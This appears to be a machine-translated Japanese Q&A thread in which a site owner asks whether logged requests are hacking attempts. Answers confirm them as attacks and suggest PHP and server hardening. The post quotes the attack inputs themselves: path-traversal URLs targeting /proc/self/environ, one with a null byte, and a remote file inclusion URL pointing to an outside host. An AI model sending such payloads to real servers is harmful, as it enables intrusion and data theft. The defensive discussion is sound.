web-dev-qa-db-ja.com

これはハッキングの試みですか？

404ログを見ると、次の2つのURLに気づきました。どちらも1回だけ発生しました。

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ

そして

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00

問題のページlibrary.phpには、半ダースの異なる許容値を持つtype変数と、次にid変数が必要です。したがって、有効なURLは次のようになります。

library.php?type=Circle-K&id=Strange-Things-Are-Afoot

また、IDはすべて、データベースのクエリに使用される前にmysql_real_escape_stringを介して実行されます。

私は新人ですが、これらのリンクは両方ともWebルートに対する単純な攻撃であるように思われますか？

1） 404以外のこれらの種類のものから保護するための最善の方法は？

2）責任のあるIPを永続化する必要がありますか？

編集：これにも気づきました

/library.php=http://www.basfalt.no/scripts/danger.txt

編集2： 3つの攻撃すべての問題のIPは、ロサンゼルスのすぐ外にあるLunarPagesと呼ばれるISPにトレースする216.97.231.15でした。

編集3：金曜日の朝、現地時間にISPに電話して、電話に出られる人と問題について話し合うことにしました。結果は24時間ほどでここに投稿します。

編集4：私は彼らの管理者に電子メールを送ることになり、彼らは最初に「彼らはそれを調べていた」と答え、次に「この問題は今すぐ解決されるべきです」と答えました。悲しいことに、これ以上の詳細はありません。

securitymysqlphphacking
12
Drew

0）はい。少なくとも、脆弱性があるかどうかを発見しようとするサイトに対する体系的な調査です。

1）コードがクリーンであることを確認する以外に、できることは多くありませんが、ホストに対して独自のテストを実行して、コードが安全であることを確認します。 Google Skipfishは、そこで役立つ多くのツールの1つです。

2）そうします。

19
TML

これは攻撃です、それは非常に説明されています ここ 。

7
Yanick Rochon

他の人が言ったように：はい、それはハックの試みです。このおそらく手作りの試みに加えて、ボットネットによって実行される自動化された試みがたくさんあることに注意してください。一般に、これらの種類の攻撃は、SQLインジェクション、システムまたはファイルの漏洩などにつながるユーザー入力の検証の失敗など、古くからの脆弱性やいくつかの典型的なコーディングの欠陥を潜入しようとしています。

ボットネットは最大数千の一意のIPアドレスを使用できるため、これらのボットネットを手動で禁止することはおそらく不可能です。したがって、ボットネットを禁止する場合は、何らかの自動禁止プログラムを使用する必要があります。 fail2ban 頭に浮かぶ; mod_securityイベントまたはその他のログエントリに反応するようにします。

コードがクリーンでサーバーが強化されている場合、これらのハッキングの試みはログの汚染を煩わせるだけです。ただし、予防措置を講じて、ニーズに応じて次の一部またはすべてを検討することをお勧めします。

  • mod_security は、あらゆる種類の典型的なハッキングの試みを除外するApacheモジュールです。また、疑わしいJavaScriptなどを検出した場合、アウトバウンドトラフィック（サーバーがクライアントに送信するページ）を制限することもできます。

  • Suhosin 硬化用PHP自体。

  • スクリプトを所有するユーザーとしてPHPスクリプトを実行します。 suphp や php-fpm などでそれが可能になります。

  • WebルートとPHP一時ディレクトリをnoexec、nosuid、nodevとしてマウントします。

  • systemやpassthruなどの不要なPHP関数を無効にします。

  • 不要なPHPモジュールを無効にします。たとえば、IMAPサポートが必要ない場合は、有効にしないでください。

  • サーバーを最新の状態に保ちます。

  • ログから目を離さないでください。

  • バックアップがあることを確認してください。

  • 誰かがあなたをハッキングしたり、他の災害があなたを襲った場合にどうするかについて計画を立ててください。

それは良いスタートです。次に、 Snort や Prelude など、さらに極端な対策がありますが、ほとんどのセットアップでは非常にやり過ぎになる可能性があります。

7
Janne Pikkarainen

これらのクエリを実行しているマシンはボットネットゾンビである可能性が高いです。複数のIPからこれらの要求を受け取っている場合、それを有効にするにはインターネットの半分を禁止する必要があるため、それらを禁止する価値はおそらくありません。

3
Chris

すでに述べたように、これは/ proc/self/environファイルにアクセスしてより多くの情報を取得する試みです。

私はそれがLinuxマシンだと思います：

あなたは使用する必要があります

攻撃しているサーバーのIPをブロックすることはできますが、この機能では攻撃していない可能性があることを考慮する必要があります。

以前は、サーバーが攻撃を受けているときに一部のサービスをブロックしていました：http/https/pop/imap/sshですが、smtpを開いたままにしておくと、間違えた場合に通知を受けることができます。

1
Andreas Rehm

はい、それは侵入の試みです。あなたは間違いなくIPを禁止すべきです。 IPが国外にあると判断した場合は、IPが属するサブネット全体を禁止することをお勧めします。これは、サーバーの問題よりもコードの問題ではありません。この特定の侵入を調べて、ホスティングプロバイダーがそれまたは同様のスクリプトキディの試み（これはどのように見えるか）に対して脆弱でないことを確認してください。

0
Joel Etherton

Janne Pikkarainenが推奨するように：

ログから目を離さないでください。

バックアップがあることを確認してください。

これらのログの一部として、侵入検知システムの一部として、Webサイトを含むファイルの変更を監視することが重要です。例は、設定ファイルに対してデフォルトでこれを行うOpenBSDです。私はこれを次の理由で取り上げます：

  • クラウドサイトの場合、カスタムビルドのWebサイトのPHPファイルに微妙な変更が加えられました（これは非標準のタグを出力するだけでしたが、エクスプロイトの規模を測定するためのテストの一部でした）。
  • ある同僚の場合、WordPress .htaccessファイル（Google検索結果からのリファラーのみ）内に微妙なリダイレクトがありました。
  • 別の同僚の場合、Joomla構成ファイルに微妙な変更がありました（何を思い出せないので、特定の条件下でもリダイレクトされたと思います）。
0
Rob Olmos

これは、Webサーバーを介してアクセスできるサーバーサイドスクリプトの潜在的な任意のローカルファイルインクルード脆弱性を悪用する試みです。脆弱なLinuxシステムでは/proc/self/environは、サーバー側で任意のコードを実行するために悪用される可能性があります。

0
Cheekysoft